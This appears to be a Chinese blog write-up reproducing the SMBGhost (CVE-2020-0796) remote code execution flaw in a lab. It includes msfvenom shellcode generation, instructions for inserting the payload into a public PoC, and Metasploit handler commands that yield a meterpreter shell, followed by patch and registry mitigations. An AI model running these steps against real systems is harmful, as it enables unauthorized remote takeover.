CVE-2020-0796(永恆之黑)漏洞復現
漏洞描述:
SMB遠程代碼執行漏洞
SMB 3.1.1協議中處理壓縮消息時,對其中數據沒有經過安全檢查,直接使用會引發內存破壞漏洞,可能被攻擊者利用遠程執行任意代碼。攻擊者利用該漏洞無須權限即可實現遠程代碼執行,受黑客攻擊的目標系統只需開機在線即可能被入侵。
漏洞原理:
Microsoft服務器消息塊(SMB)協議是Microsoft Windows中使用的一項Microsoft網絡文件共享協議。在大部分windows系統中都是默認開啟的,用於在計算機間共享文件、打印機等。
Windows 10和Windows Server 2016引入了SMB 3.1.1 。本次漏洞源於SMBv3沒有正確處理壓縮的數據包,在解壓數據包的時候使用客戶端傳過來的長度進行解壓時,並沒有檢查長度是否合法,最終導致整數溢出。
利用該漏洞,黑客可直接遠程攻擊SMB服務端遠程執行任意惡意代碼,亦可通過構建惡意SMB服務端誘導客戶端連接從而大規模攻擊客戶端。
影響范圍:
Windows 10 Version 1903 for 32-bit Systems
Windows 10 Version 1903 for x64-based Systems
Windows 10 Version 1903 for ARM64-based Systems
Windows Server, Version 1903 (Server Core installation)
Windows 10 Version 1909 for 32-bit Systems
Windows 10 Version 1909 for x64-based Systems
Windows 10 Version 1909 for ARM64-based Systems
Windows Server, Version 1909 (Server Core installation)
參考文章:
https://www.cnblogs.com/xiaoxiaosen/p/13056272.html
getshell:
一、復現環境
-
靶機:windows10 1903 x64 ip:192.168.245.136(關閉防火牆)
-
攻擊機:kali2019 ip:192.168.245.129
二、漏洞檢測
-
在靶機里下載檢測工具:http://dl.qianxin.com/skylar6/CVE-2020-0796-Scanner.zip
-
運行工具,檢測到漏洞風險
三、漏洞利用
POC下載:https://github.com/chompie1337/SMBGhost_RCE_PoC
-
在kali中生成木馬
msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=6666 -b '\x00' -i 1 -f python #-p windows/x64/meterpreter/bind_tcp 設置payload為windows64位meterpreter控制台下的正向連接 #LPORT=6666 設置開發端口為6666 #-b '\x00' 設置在生成的程序中避免出現'\x00' #-i 1 設置編碼次數為一次 #-f python 設置生成python格式文件
-
用生成的shellcode將POC文件里exploit.py中的一部分替換掉,直接復制粘貼,將buf替換成USER_PAYLOAD保存(我這個圖是之前失敗的圖,成功后忘記截了,就當作是設置的6666端口)
-
開啟msf監聽
msfconsole use exploit/multi/handler set payload windows/x64/meterpreter/bind_tcp set lport 6666 set rhost 192.168.245.136 run
-
將POC放入kali里,運行POC,getshell,倒數第二步時,點擊回車就好了
python3 exploit.py -ip 192.168.245.136
-
返回監聽界面,可以看到監聽成功,getshell
漏洞加固:
-
更新補丁
-
微軟給出了臨時的應對辦法:
運行regedit.exe,打開注冊表編輯器,在HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters建立一個名為DisableCompression的DWORD,值為1,禁止SMB的壓縮功能。 -
將SMB445通信端口進行封禁
心得:
getshell的時候出了很多問題,比如說一藍屏win10就更新修復漏洞,關閉自動更新,重裝系統都試了試還是沒法,只能靠快照恢復;一次出現了physical read primitive failed的情況,發現是漏洞修復的原因;有很多次運行POC后,win10藍屏了但是並沒有監聽到,后來突然發現生成木馬時設置的端口和之后監聽的端口不一致,修改好了就可以了;然后還有說POC腳本不穩定要多試幾次的問題。